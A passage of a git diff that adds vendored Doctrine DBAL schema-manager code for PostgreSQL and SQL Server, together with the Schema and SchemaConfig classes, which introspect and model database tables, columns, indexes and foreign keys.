$length = null; + } + + $fixed = null; + + if (! isset($tableColumn['name'])) { + $tableColumn['name'] = ''; + } + + $precision = null; + $scale = null; + $jsonb = null; + + $dbType = strtolower($tableColumn['type']); + if ( + $tableColumn['domain_type'] !== null + && $tableColumn['domain_type'] !== '' + && ! $this->_platform->hasDoctrineTypeMappingFor($tableColumn['type']) + ) { + $dbType = strtolower($tableColumn['domain_type']); + $tableColumn['complete_type'] = $tableColumn['domain_complete_type']; + } + + $type = $this->_platform->getDoctrineTypeMapping($dbType); + $type = $this->extractDoctrineTypeFromComment($tableColumn['comment'], $type); + $tableColumn['comment'] = $this->removeDoctrineTypeFromComment($tableColumn['comment'], $type); + + switch ($dbType) { + case 'smallint': + case 'int2': + $tableColumn['default'] = $this->fixVersion94NegativeNumericDefaultValue($tableColumn['default']); + $length = null; + break; + + case 'int': + case 'int4': + case 'integer': + $tableColumn['default'] = $this->fixVersion94NegativeNumericDefaultValue($tableColumn['default']); + $length = null; + break; + + case 'bigint': + case 'int8': + $tableColumn['default'] = $this->fixVersion94NegativeNumericDefaultValue($tableColumn['default']); + $length = null; + break; + + case 'bool': + case 'boolean': + if ($tableColumn['default'] === 'true') { + $tableColumn['default'] = true; + } + + if ($tableColumn['default'] === 'false') { + $tableColumn['default'] = false; + } + + $length = null; + break; + + case 'text': + case '_varchar': + case 'varchar': + $tableColumn['default'] = $this->parseDefaultExpression($tableColumn['default']); + $fixed = false; + break; + case 'interval': + $fixed = false; + break; + + case 'char': + case 'bpchar': + $fixed = true; + break; + + case 'float': + case 'float4': + case 'float8': + case 'double': + case 'double precision': + case 'real': + case 'decimal': + case 'money': + case 'numeric': + $tableColumn['default'] = $this->fixVersion94NegativeNumericDefaultValue($tableColumn['default']); + + if ( + preg_match( + '([A-Za-z]+\(([0-9]+),([0-9]+)\))', + $tableColumn['complete_type'], + $match, + ) === 1 + ) { + $precision = $match[1]; + $scale = $match[2]; + $length = null; + } + + break; + + case 'year': + $length = null; + break; + + // PostgreSQL 9.4+ only + case 'jsonb': + $jsonb = true; + break; + } + + if ( + $tableColumn['default'] !== null && preg_match( + "('([^']+)'::)", + $tableColumn['default'], + $match, + ) === 1 + ) { + $tableColumn['default'] = $match[1]; + } + + $options = [ + 'length' => $length, + 'notnull' => (bool) $tableColumn['isnotnull'], + 'default' => $tableColumn['default'], + 'precision' => $precision, + 'scale' => $scale, + 'fixed' => $fixed, + 'autoincrement' => $autoincrement, + 'comment' => isset($tableColumn['comment']) && $tableColumn['comment'] !== '' + ? $tableColumn['comment'] + : null, + ]; + + $column = new Column($tableColumn['field'], Type::getType($type), $options); + + if (! empty($tableColumn['collation'])) { + $column->setPlatformOption('collation', $tableColumn['collation']); + } + + if ($column->getType()->getName() === Types::JSON) { + if (! $column->getType() instanceof JsonType) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5049', + <<<'DEPRECATION' + %s not extending %s while being named %s is deprecated, + and will lead to jsonb never to being used in 4.0., + DEPRECATION, + get_class($column->getType()), + JsonType::class, + Types::JSON, + ); + } + + $column->setPlatformOption('jsonb', $jsonb); + } + + return $column; + } + + /** + * PostgreSQL 9.4 puts parentheses around negative numeric default values that need to be stripped eventually. + * + * @param mixed $defaultValue + * + * @return mixed + */ + private function fixVersion94NegativeNumericDefaultValue($defaultValue) + { + if ($defaultValue !== null && strpos($defaultValue, '(') === 0) { + return trim($defaultValue, '()'); + } + + return $defaultValue; + } + + /** + * Parses a default value expression as given by PostgreSQL + */ + private function parseDefaultExpression(?string $default): ?string + { + if ($default === null) { + return $default; + } + + return str_replace("''", "'", $default); + } + + protected function selectTableNames(string $databaseName): Result + { + $sql = <<<'SQL' +SELECT quote_ident(table_name) AS table_name, + table_schema AS schema_name +FROM information_schema.tables +WHERE table_catalog = ? + AND table_schema NOT LIKE 'pg\_%' + AND table_schema != 'information_schema' + AND table_name != 'geometry_columns' + AND table_name != 'spatial_ref_sys' + AND table_type = 'BASE TABLE' +SQL; + + return $this->_conn->executeQuery($sql, [$databaseName]); + } + + protected function selectTableColumns(string $databaseName, ?string $tableName = null): Result + { + $sql = 'SELECT'; + + if ($tableName === null) { + $sql .= ' c.relname AS table_name, n.nspname AS schema_name,'; + } + + $sql .= <<<'SQL' + a.attnum, + quote_ident(a.attname) AS field, + t.typname AS type, + format_type(a.atttypid, a.atttypmod) AS complete_type, + (SELECT tc.collcollate FROM pg_catalog.pg_collation tc WHERE tc.oid = a.attcollation) AS collation, + (SELECT t1.typname FROM pg_catalog.pg_type t1 WHERE t1.oid = t.typbasetype) AS domain_type, + (SELECT format_type(t2.typbasetype, t2.typtypmod) FROM + pg_catalog.pg_type t2 WHERE t2.typtype = 'd' AND t2.oid = a.atttypid) AS domain_complete_type, + a.attnotnull AS isnotnull, + (SELECT 't' + FROM pg_index + WHERE c.oid = pg_index.indrelid + AND pg_index.indkey[0] = a.attnum + AND pg_index.indisprimary = 't' + ) AS pri, + (SELECT pg_get_expr(adbin, adrelid) + FROM pg_attrdef + WHERE c.oid = pg_attrdef.adrelid + AND pg_attrdef.adnum=a.attnum + ) AS default, + (SELECT pg_description.description + FROM pg_description WHERE pg_description.objoid = c.oid AND a.attnum = pg_description.objsubid + ) AS comment + FROM pg_attribute a + INNER JOIN pg_class c + ON c.oid = a.attrelid + INNER JOIN pg_type t + ON t.oid = a.atttypid + INNER JOIN pg_namespace n + ON n.oid = c.relnamespace + LEFT JOIN pg_depend d + ON d.objid = c.oid + AND d.deptype = 'e' + AND d.classid = (SELECT oid FROM pg_class WHERE relname = 'pg_class') +SQL; + + $conditions = array_merge([ + 'a.attnum > 0', + "c.relkind = 'r'", + 'd.refobjid IS NULL', + ], $this->buildQueryConditions($tableName)); + + $sql .= ' WHERE ' . implode(' AND ', $conditions) . ' ORDER BY a.attnum'; + + return $this->_conn->executeQuery($sql); + } + + protected function selectIndexColumns(string $databaseName, ?string $tableName = null): Result + { + $sql = 'SELECT'; + + if ($tableName === null) { + $sql .= ' tc.relname AS table_name, tn.nspname AS schema_name,'; + } + + $sql .= <<<'SQL' + quote_ident(ic.relname) AS relname, + i.indisunique, + i.indisprimary, + i.indkey, + i.indrelid, + pg_get_expr(indpred, indrelid) AS "where" + FROM pg_index i + JOIN pg_class AS tc ON tc.oid = i.indrelid + JOIN pg_namespace tn ON tn.oid = tc.relnamespace + JOIN pg_class AS ic ON ic.oid = i.indexrelid + WHERE ic.oid IN ( + SELECT indexrelid + FROM pg_index i, pg_class c, pg_namespace n +SQL; + + $conditions = array_merge([ + 'c.oid = i.indrelid', + 'c.relnamespace = n.oid', + ], $this->buildQueryConditions($tableName)); + + $sql .= ' WHERE ' . implode(' AND ', $conditions) . ')'; + + return $this->_conn->executeQuery($sql); + } + + protected function selectForeignKeyColumns(string $databaseName, ?string $tableName = null): Result + { + $sql = 'SELECT'; + + if ($tableName === null) { + $sql .= ' tc.relname AS table_name, tn.nspname AS schema_name,'; + } + + $sql .= <<<'SQL' + quote_ident(r.conname) as conname, + pg_get_constraintdef(r.oid, true) as condef + FROM pg_constraint r + JOIN pg_class AS tc ON tc.oid = r.conrelid + JOIN pg_namespace tn ON tn.oid = tc.relnamespace + WHERE r.conrelid IN + ( + SELECT c.oid + FROM pg_class c, pg_namespace n +SQL; + + $conditions = array_merge(['n.oid = c.relnamespace'], $this->buildQueryConditions($tableName)); + + $sql .= ' WHERE ' . implode(' AND ', $conditions) . ") AND r.contype = 'f'"; + + return $this->_conn->executeQuery($sql); + } + + /** + * {@inheritDoc} + */ + protected function fetchTableOptionsByTable(string $databaseName, ?string $tableName = null): array + { + $sql = <<<'SQL' +SELECT c.relname, + CASE c.relpersistence WHEN 'u' THEN true ELSE false END as unlogged, + obj_description(c.oid, 'pg_class') AS comment +FROM pg_class c + INNER JOIN pg_namespace n + ON n.oid = c.relnamespace +SQL; + + $conditions = array_merge(["c.relkind = 'r'"], $this->buildQueryConditions($tableName)); + + $sql .= ' WHERE ' . implode(' AND ', $conditions); + + return $this->_conn->fetchAllAssociativeIndexed($sql); + } + + /** + * @param string|null $tableName + * + * @return list + */ + private function buildQueryConditions($tableName): array + { + $conditions = []; + + if ($tableName !== null) { + if (strpos($tableName, '.') !== false) { + [$schemaName, $tableName] = explode('.', $tableName); + $conditions[] = 'n.nspname = ' . $this->_platform->quoteStringLiteral($schemaName); + } else { + $conditions[] = 'n.nspname = ANY(current_schemas(false))'; + } + + $identifier = new Identifier($tableName); + $conditions[] = 'c.relname = ' . $this->_platform->quoteStringLiteral($identifier->getName()); + } + + $conditions[] = "n.nspname NOT IN ('pg_catalog', 'information_schema', 'pg_toast')"; + + return $conditions; + } +} diff --git a/vendor/doctrine/dbal/src/Schema/SQLServerSchemaManager.php b/vendor/doctrine/dbal/src/Schema/SQLServerSchemaManager.php new file mode 100644 index 000000000..64538e689 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/SQLServerSchemaManager.php @@ -0,0 +1,603 @@ + + */ +class SQLServerSchemaManager extends AbstractSchemaManager +{ + private ?string $databaseCollation = null; + + /** + * {@inheritDoc} + */ + public function listTableNames() + { + return $this->doListTableNames(); + } + + /** + * {@inheritDoc} + */ + public function listTables() + { + return $this->doListTables(); + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see introspectTable()} instead. + */ + public function listTableDetails($name) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5595', + '%s is deprecated. Use introspectTable() instead.', + __METHOD__, + ); + + return $this->doListTableDetails($name); + } + + /** + * {@inheritDoc} + */ + public function listTableColumns($table, $database = null) + { + return $this->doListTableColumns($table, $database); + } + + /** + * {@inheritDoc} + */ + public function listTableIndexes($table) + { + return $this->doListTableIndexes($table); + } + + /** + * {@inheritDoc} + */ + public function listTableForeignKeys($table, $database = null) + { + return $this->doListTableForeignKeys($table, $database); + } + + /** + * {@inheritDoc} + */ + public function listSchemaNames(): array + { + return $this->_conn->fetchFirstColumn( + <<<'SQL' +SELECT name +FROM sys.schemas +WHERE name NOT IN('guest', 'INFORMATION_SCHEMA', 'sys') +SQL, + ); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableSequenceDefinition($sequence) + { + return new Sequence($sequence['name'], (int) $sequence['increment'], (int) $sequence['start_value']); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableColumnDefinition($tableColumn) + { + $dbType = strtok($tableColumn['type'], '(), '); + assert(is_string($dbType)); + + $fixed = null; + $length = (int) $tableColumn['length']; + $default = $tableColumn['default']; + + if (! isset($tableColumn['name'])) { + $tableColumn['name'] = ''; + } + + if ($default !== null) { + $default = $this->parseDefaultExpression($default); + } + + switch ($dbType) { + case 'nchar': + case 'nvarchar': + case 'ntext': + // Unicode data requires 2 bytes per character + $length /= 2; + break; + + case 'varchar': + // TEXT type is returned as VARCHAR(MAX) with a length of -1 + if ($length === -1) { + $dbType = 'text'; + } + + break; + + case 'varbinary': + if ($length === -1) { + $dbType = 'blob'; + } + + break; + } + + if ($dbType === 'char' || $dbType === 'nchar' || $dbType === 'binary') { + $fixed = true; + } + + $type = $this->_platform->getDoctrineTypeMapping($dbType); + $type = $this->extractDoctrineTypeFromComment($tableColumn['comment'], $type); + $tableColumn['comment'] = $this->removeDoctrineTypeFromComment($tableColumn['comment'], $type); + + $options = [ + 'unsigned' => false, + 'fixed' => (bool) $fixed, + 'default' => $default, + 'notnull' => (bool) $tableColumn['notnull'], + 'scale' => $tableColumn['scale'], + 'precision' => $tableColumn['precision'], + 'autoincrement' => (bool) $tableColumn['autoincrement'], + 'comment' => $tableColumn['comment'] !== '' ? $tableColumn['comment'] : null, + ]; + + if ($length !== 0 && ($type === 'text' || $type === 'string' || $type === 'binary')) { + $options['length'] = $length; + } + + $column = new Column($tableColumn['name'], Type::getType($type), $options); + + if (isset($tableColumn['collation']) && $tableColumn['collation'] !== 'NULL') { + $column->setPlatformOption('collation', $tableColumn['collation']); + } + + return $column; + } + + private function parseDefaultExpression(string $value): ?string + { + while (preg_match('/^\((.*)\)$/s', $value, $matches)) { + $value = $matches[1]; + } + + if ($value === 'NULL') { + return null; + } + + if (preg_match('/^\'(.*)\'$/s', $value, $matches) === 1) { + $value = str_replace("''", "'", $matches[1]); + } + + if ($value === 'getdate()') { + return $this->_platform->getCurrentTimestampSQL(); + } + + return $value; + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableForeignKeysList($tableForeignKeys) + { + $foreignKeys = []; + + foreach ($tableForeignKeys as $tableForeignKey) { + $name = $tableForeignKey['ForeignKey']; + + if (! isset($foreignKeys[$name])) { + $foreignKeys[$name] = [ + 'local_columns' => [$tableForeignKey['ColumnName']], + 'foreign_table' => $tableForeignKey['ReferenceTableName'], + 'foreign_columns' => [$tableForeignKey['ReferenceColumnName']], + 'name' => $name, + 'options' => [ + 'onUpdate' => str_replace('_', ' ', $tableForeignKey['update_referential_action_desc']), + 'onDelete' => str_replace('_', ' ', $tableForeignKey['delete_referential_action_desc']), + ], + ]; + } else { + $foreignKeys[$name]['local_columns'][] = $tableForeignKey['ColumnName']; + $foreignKeys[$name]['foreign_columns'][] = $tableForeignKey['ReferenceColumnName']; + } + } + + return parent::_getPortableTableForeignKeysList($foreignKeys); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableIndexesList($tableIndexes, $tableName = null) + { + foreach ($tableIndexes as &$tableIndex) { + $tableIndex['non_unique'] = (bool) $tableIndex['non_unique']; + $tableIndex['primary'] = (bool) $tableIndex['primary']; + $tableIndex['flags'] = $tableIndex['flags'] ? [$tableIndex['flags']] : null; + } + + return parent::_getPortableTableIndexesList($tableIndexes, $tableName); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableForeignKeyDefinition($tableForeignKey) + { + return new ForeignKeyConstraint( + $tableForeignKey['local_columns'], + $tableForeignKey['foreign_table'], + $tableForeignKey['foreign_columns'], + $tableForeignKey['name'], + $tableForeignKey['options'], + ); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableDefinition($table) + { + if ($table['schema_name'] !== 'dbo') { + return $table['schema_name'] . '.' . $table['table_name']; + } + + return $table['table_name']; + } + + /** + * {@inheritDoc} + */ + protected function _getPortableDatabaseDefinition($database) + { + return $database['name']; + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see listSchemaNames()} instead. + */ + protected function getPortableNamespaceDefinition(array $namespace) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4503', + 'SQLServerSchemaManager::getPortableNamespaceDefinition() is deprecated,' + . ' use SQLServerSchemaManager::listSchemaNames() instead.', + ); + + return $namespace['name']; + } + + /** + * {@inheritDoc} + */ + protected function _getPortableViewDefinition($view) + { + // @todo + return new View($view['name'], $view['definition']); + } + + /** + * {@inheritDoc} + */ + public function alterTable(TableDiff $tableDiff) + { + $droppedColumns = $tableDiff->getDroppedColumns(); + + if (count($droppedColumns) > 0) { + $tableName = ($tableDiff->getOldTable() ?? $tableDiff->getName($this->_platform))->getName(); + + foreach ($droppedColumns as $col) { + foreach ($this->getColumnConstraints($tableName, $col->getName()) as $constraint) { + $this->_conn->executeStatement( + sprintf( + 'ALTER TABLE %s DROP CONSTRAINT %s', + $tableName, + $constraint, + ), + ); + } + } + } + + parent::alterTable($tableDiff); + } + + /** + * Returns the names of the constraints for a given column. + * + * @return iterable + * + * @throws Exception + */ + private function getColumnConstraints(string $table, string $column): iterable + { + return $this->_conn->iterateColumn( + <<<'SQL' +SELECT o.name +FROM sys.objects o + INNER JOIN sys.objects t + ON t.object_id = o.parent_object_id + AND t.type = 'U' + INNER JOIN sys.default_constraints dc + ON dc.object_id = o.object_id + INNER JOIN sys.columns c + ON c.column_id = dc.parent_column_id + AND c.object_id = t.object_id +WHERE t.name = ? + AND c.name = ? +SQL + , + [$table, $column], + ); + } + + /** @throws Exception */ + public function createComparator(): Comparator + { + return new SQLServer\Comparator($this->_platform, $this->getDatabaseCollation()); + } + + /** @throws Exception */ + private function getDatabaseCollation(): string + { + if ($this->databaseCollation === null) { + $databaseCollation = $this->_conn->fetchOne( + 'SELECT collation_name FROM sys.databases WHERE name = ' + . $this->_platform->getCurrentDatabaseExpression(), + ); + + // a database is always selected, even if omitted in the connection parameters + assert(is_string($databaseCollation)); + + $this->databaseCollation = $databaseCollation; + } + + return $this->databaseCollation; + } + + protected function selectTableNames(string $databaseName): Result + { + // The "sysdiagrams" table must be ignored as it's internal SQL Server table for Database Diagrams + $sql = <<<'SQL' +SELECT name AS table_name, + SCHEMA_NAME(schema_id) AS schema_name +FROM sys.objects +WHERE type = 'U' + AND name != 'sysdiagrams' +ORDER BY name +SQL; + + return $this->_conn->executeQuery($sql); + } + + protected function selectTableColumns(string $databaseName, ?string $tableName = null): Result + { + $sql = 'SELECT'; + + if ($tableName === null) { + $sql .= ' obj.name AS table_name, scm.name AS schema_name,'; + } + + $sql .= <<<'SQL' + col.name, + type.name AS type, + col.max_length AS length, + ~col.is_nullable AS notnull, + def.definition AS [default], + col.scale, + col.precision, + col.is_identity AS autoincrement, + col.collation_name AS collation, + -- CAST avoids driver error for sql_variant type + CAST(prop.value AS NVARCHAR(MAX)) AS comment + FROM sys.columns AS col + JOIN sys.types AS type + ON col.user_type_id = type.user_type_id + JOIN sys.objects AS obj + ON col.object_id = obj.object_id + JOIN sys.schemas AS scm + ON obj.schema_id = scm.schema_id + LEFT JOIN sys.default_constraints def + ON col.default_object_id = def.object_id + AND col.object_id = def.parent_object_id + LEFT JOIN sys.extended_properties AS prop + ON obj.object_id = prop.major_id + AND col.column_id = prop.minor_id + AND prop.name = 'MS_Description' +SQL; + + // The "sysdiagrams" table must be ignored as it's internal SQL Server table for Database Diagrams + $conditions = ["obj.type = 'U'", "obj.name != 'sysdiagrams'"]; + $params = []; + + if ($tableName !== null) { + $conditions[] = $this->getTableWhereClause($tableName, 'scm.name', 'obj.name'); + } + + $sql .= ' WHERE ' . implode(' AND ', $conditions); + + return $this->_conn->executeQuery($sql, $params); + } + + protected function selectIndexColumns(string $databaseName, ?string $tableName = null): Result + { + $sql = 'SELECT'; + + if ($tableName === null) { + $sql .= ' tbl.name AS table_name, scm.name AS schema_name,'; + } + + $sql .= <<<'SQL' + idx.name AS key_name, + col.name AS column_name, + ~idx.is_unique AS non_unique, + idx.is_primary_key AS [primary], + CASE idx.type + WHEN '1' THEN 'clustered' + WHEN '2' THEN 'nonclustered' + ELSE NULL + END AS flags + FROM sys.tables AS tbl + JOIN sys.schemas AS scm + ON tbl.schema_id = scm.schema_id + JOIN sys.indexes AS idx + ON tbl.object_id = idx.object_id + JOIN sys.index_columns AS idxcol + ON idx.object_id = idxcol.object_id + AND idx.index_id = idxcol.index_id + JOIN sys.columns AS col + ON idxcol.object_id = col.object_id + AND idxcol.column_id = col.column_id +SQL; + + $conditions = []; + $params = []; + + if ($tableName !== null) { + $conditions[] = $this->getTableWhereClause($tableName, 'scm.name', 'tbl.name'); + $sql .= ' WHERE ' . implode(' AND ', $conditions); + } + + $sql .= ' ORDER BY idx.index_id, idxcol.key_ordinal'; + + return $this->_conn->executeQuery($sql, $params); + } + + protected function selectForeignKeyColumns(string $databaseName, ?string $tableName = null): Result + { + $sql = 'SELECT'; + + if ($tableName === null) { + $sql .= ' OBJECT_NAME (f.parent_object_id) AS table_name, SCHEMA_NAME(f.schema_id) AS schema_name,'; + } + + $sql .= <<<'SQL' + f.name AS ForeignKey, + SCHEMA_NAME (f.SCHEMA_ID) AS SchemaName, + OBJECT_NAME (f.parent_object_id) AS TableName, + COL_NAME (fc.parent_object_id,fc.parent_column_id) AS ColumnName, + SCHEMA_NAME (o.SCHEMA_ID) ReferenceSchemaName, + OBJECT_NAME (f.referenced_object_id) AS ReferenceTableName, + COL_NAME(fc.referenced_object_id,fc.referenced_column_id) AS ReferenceColumnName, + f.delete_referential_action_desc, + f.update_referential_action_desc + FROM sys.foreign_keys AS f + INNER JOIN sys.foreign_key_columns AS fc + INNER JOIN sys.objects AS o ON o.OBJECT_ID = fc.referenced_object_id + ON f.OBJECT_ID = fc.constraint_object_id +SQL; + + $conditions = []; + $params = []; + + if ($tableName !== null) { + $conditions[] = $this->getTableWhereClause( + $tableName, + 'SCHEMA_NAME(f.schema_id)', + 'OBJECT_NAME(f.parent_object_id)', + ); + + $sql .= ' WHERE ' . implode(' AND ', $conditions); + } + + $sql .= ' ORDER BY fc.constraint_column_id'; + + return $this->_conn->executeQuery($sql, $params); + } + + /** + * {@inheritDoc} + */ + protected function fetchTableOptionsByTable(string $databaseName, ?string $tableName = null): array + { + $sql = <<<'SQL' + SELECT + tbl.name, + p.value AS [table_comment] + FROM + sys.tables AS tbl + INNER JOIN sys.extended_properties AS p ON p.major_id=tbl.object_id AND p.minor_id=0 AND p.class=1 +SQL; + + $conditions = ["SCHEMA_NAME(tbl.schema_id) = N'dbo'", "p.name = N'MS_Description'"]; + $params = []; + + if ($tableName !== null) { + $conditions[] = "tbl.name = N'" . $tableName . "'"; + } + + $sql .= ' WHERE ' . implode(' AND ', $conditions); + + /** @var array> $metadata */ + $metadata = $this->_conn->executeQuery($sql, $params) + ->fetchAllAssociativeIndexed(); + + $tableOptions = []; + foreach ($metadata as $table => $data) { + $data = array_change_key_case($data, CASE_LOWER); + + $tableOptions[$table] = [ + 'comment' => $data['table_comment'], + ]; + } + + return $tableOptions; + } + + /** + * Returns the where clause to filter schema and table name in a query. + * + * @param string $table The full qualified name of the table. + * @param string $schemaColumn The name of the column to compare the schema to in the where clause. + * @param string $tableColumn The name of the column to compare the table to in the where clause. + */ + private function getTableWhereClause($table, $schemaColumn, $tableColumn): string + { + if (strpos($table, '.') !== false) { + [$schema, $table] = explode('.', $table); + $schema = $this->_platform->quoteStringLiteral($schema); + $table = $this->_platform->quoteStringLiteral($table); + } else { + $schema = 'SCHEMA_NAME()'; + $table = $this->_platform->quoteStringLiteral($table); + } + + return sprintf('(%s = %s AND %s = %s)', $tableColumn, $table, $schemaColumn, $schema); + } +} diff --git a/vendor/doctrine/dbal/src/Schema/Schema.php b/vendor/doctrine/dbal/src/Schema/Schema.php new file mode 100644 index 000000000..703c83c59 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/Schema.php @@ -0,0 +1,523 @@ +_schemaConfig = $schemaConfig; + $this->_setName($schemaConfig->getName() ?? 'public'); + + foreach ($namespaces as $namespace) { + $this->createNamespace($namespace); + } + + foreach ($tables as $table) { + $this->_addTable($table); + } + + foreach ($sequences as $sequence) { + $this->_addSequence($sequence); + } + } + + /** + * @deprecated + * + * @return bool + */ + public function hasExplicitForeignKeyIndexes() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4822', + 'Schema::hasExplicitForeignKeyIndexes() is deprecated.', + ); + + return $this->_schemaConfig->hasExplicitForeignKeyIndexes(); + } + + /** + * @return void + * + * @throws SchemaException + */ + protected function _addTable(Table $table) + { + $namespaceName = $table->getNamespaceName(); + $tableName = $this->normalizeName($table); + + if (isset($this->_tables[$tableName])) { + throw SchemaException::tableAlreadyExists($tableName); + } + + if ( + $namespaceName !== null + && ! $table->isInDefaultNamespace($this->getName()) + && ! $this->hasNamespace($namespaceName) + ) { + $this->createNamespace($namespaceName); + } + + $this->_tables[$tableName] = $table; + $table->setSchemaConfig($this->_schemaConfig); + } + + /** + * @return void + * + * @throws SchemaException + */ + protected function _addSequence(Sequence $sequence) + { + $namespaceName = $sequence->getNamespaceName(); + $seqName = $this->normalizeName($sequence); + + if (isset($this->_sequences[$seqName])) { + throw SchemaException::sequenceAlreadyExists($seqName); + } + + if ( + $namespaceName !== null + && ! $sequence->isInDefaultNamespace($this->getName()) + && ! $this->hasNamespace($namespaceName) + ) { + $this->createNamespace($namespaceName); + } + + $this->_sequences[$seqName] = $sequence; + } + + /** + * Returns the namespaces of this schema. + * + * @return string[] A list of namespace names. + */ + public function getNamespaces() + { + return $this->namespaces; + } + + /** + * Gets all tables of this schema. + * + * @return Table[] + */ + public function getTables() + { + return $this->_tables; + } + + /** + * @param string $name + * + * @return Table + * + * @throws SchemaException + */ + public function getTable($name) + { + $name = $this->getFullQualifiedAssetName($name); + if (! isset($this->_tables[$name])) { + throw SchemaException::tableDoesNotExist($name); + } + + return $this->_tables[$name]; + } + + /** @param string $name */ + private function getFullQualifiedAssetName($name): string + { + $name = $this->getUnquotedAssetName($name); + + if (strpos($name, '.') === false) { + $name = $this->getName() . '.' . $name; + } + + return strtolower($name); + } + + private function normalizeName(AbstractAsset $asset): string + { + return $asset->getFullQualifiedName($this->getName()); + } + + /** + * Returns the unquoted representation of a given asset name. + * + * @param string $assetName Quoted or unquoted representation of an asset name. + */ + private function getUnquotedAssetName($assetName): string + { + if ($this->isIdentifierQuoted($assetName)) { + return $this->trimQuotes($assetName); + } + + return $assetName; + } + + /** + * Does this schema have a namespace with the given name? + * + * @param string $name + * + * @return bool + */ + public function hasNamespace($name) + { + $name = strtolower($this->getUnquotedAssetName($name)); + + return isset($this->namespaces[$name]); + } + + /** + * Does this schema have a table with the given name? + * + * @param string $name + * + * @return bool + */ + public function hasTable($name) + { + $name = $this->getFullQualifiedAssetName($name); + + return isset($this->_tables[$name]); + } + + /** + * Gets all table names, prefixed with a schema name, even the default one if present. + * + * @deprecated Use {@see getTables()} and {@see Table::getName()} instead. + * + * @return string[] + */ + public function getTableNames() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4800', + 'Schema::getTableNames() is deprecated.' + . ' Use Schema::getTables() and Table::getName() instead.', + __METHOD__, + ); + + return array_keys($this->_tables); + } + + /** + * @param string $name + * + * @return bool + */ + public function hasSequence($name) + { + $name = $this->getFullQualifiedAssetName($name); + + return isset($this->_sequences[$name]); + } + + /** + * @param string $name + * + * @return Sequence + * + * @throws SchemaException + */ + public function getSequence($name) + { + $name = $this->getFullQualifiedAssetName($name); + if (! $this->hasSequence($name)) { + throw SchemaException::sequenceDoesNotExist($name); + } + + return $this->_sequences[$name]; + } + + /** @return Sequence[] */ + public function getSequences() + { + return $this->_sequences; + } + + /** + * Creates a new namespace. + * + * @param string $name The name of the namespace to create. + * + * @return Schema This schema instance. + * + * @throws SchemaException + */ + public function createNamespace($name) + { + $unquotedName = strtolower($this->getUnquotedAssetName($name)); + + if (isset($this->namespaces[$unquotedName])) { + throw SchemaException::namespaceAlreadyExists($unquotedName); + } + + $this->namespaces[$unquotedName] = $name; + + return $this; + } + + /** + * Creates a new table. + * + * @param string $name + * + * @return Table + * + * @throws SchemaException + */ + public function createTable($name) + { + $table = new Table($name); + $this->_addTable($table); + + foreach ($this->_schemaConfig->getDefaultTableOptions() as $option => $value) { + $table->addOption($option, $value); + } + + return $table; + } + + /** + * Renames a table. + * + * @param string $oldName + * @param string $newName + * + * @return Schema + * + * @throws SchemaException + */ + public function renameTable($oldName, $newName) + { + $table = $this->getTable($oldName); + $table->_setName($newName); + + $this->dropTable($oldName); + $this->_addTable($table); + + return $this; + } + + /** + * Drops a table from the schema. + * + * @param string $name + * + * @return Schema + * + * @throws SchemaException + */ + public function dropTable($name) + { + $name = $this->getFullQualifiedAssetName($name); + $this->getTable($name); + unset($this->_tables[$name]); + + return $this; + } + + /** + * Creates a new sequence. + * + * @param string $name + * @param int $allocationSize + * @param int $initialValue + * + * @return Sequence + * + * @throws SchemaException + */ + public function createSequence($name, $allocationSize = 1, $initialValue = 1) + { + $seq = new Sequence($name, $allocationSize, $initialValue); + $this->_addSequence($seq); + + return $seq; + } + + /** + * @param string $name + * + * @return Schema + */ + public function dropSequence($name) + { + $name = $this->getFullQualifiedAssetName($name); + unset($this->_sequences[$name]); + + return $this; + } + + /** + * Returns an array of necessary SQL queries to create the schema on the given platform. + * + * @return list + * + * @throws Exception + */ + public function toSql(AbstractPlatform $platform) + { + $builder = new CreateSchemaObjectsSQLBuilder($platform); + + return $builder->buildSQL($this); + } + + /** + * Return an array of necessary SQL queries to drop the schema on the given platform. + * + * @return list + * + * @throws Exception + */ + public function toDropSql(AbstractPlatform $platform) + { + $builder = new DropSchemaObjectsSQLBuilder($platform); + + return $builder->buildSQL($this); + } + + /** + * @deprecated + * + * @return string[] + * + * @throws SchemaException + */ + public function getMigrateToSql(Schema $toSchema, AbstractPlatform $platform) + { + $schemaDiff = (new Comparator())->compareSchemas($this, $toSchema); + + return $schemaDiff->toSql($platform); + } + + /** + * @deprecated + * + * @return string[] + * + * @throws SchemaException + */ + public function getMigrateFromSql(Schema $fromSchema, AbstractPlatform $platform) + { + $schemaDiff = (new Comparator())->compareSchemas($fromSchema, $this); + + return $schemaDiff->toSql($platform); + } + + /** + * @deprecated + * + * @return void + */ + public function visit(Visitor $visitor) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5435', + 'Schema::visit() is deprecated.', + ); + + $visitor->acceptSchema($this); + + if ($visitor instanceof NamespaceVisitor) { + foreach ($this->namespaces as $namespace) { + $visitor->acceptNamespace($namespace); + } + } + + foreach ($this->_tables as $table) { + $table->visit($visitor); + } + + foreach ($this->_sequences as $sequence) { + $sequence->visit($visitor); + } + } + + /** + * Cloning a Schema triggers a deep clone of all related assets. + * + * @return void + */ + public function __clone() + { + foreach ($this->_tables as $k => $table) { + $this->_tables[$k] = clone $table; + } + + foreach ($this->_sequences as $k => $sequence) { + $this->_sequences[$k] = clone $sequence; + } + } +} diff --git a/vendor/doctrine/dbal/src/Schema/SchemaConfig.php b/vendor/doctrine/dbal/src/Schema/SchemaConfig.php new file mode 100644 index 000000000..5e394514b --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/SchemaConfig.php @@ -0,0 +1,120 @@ +hasExplicitForeignKeyIndexes; + } + + 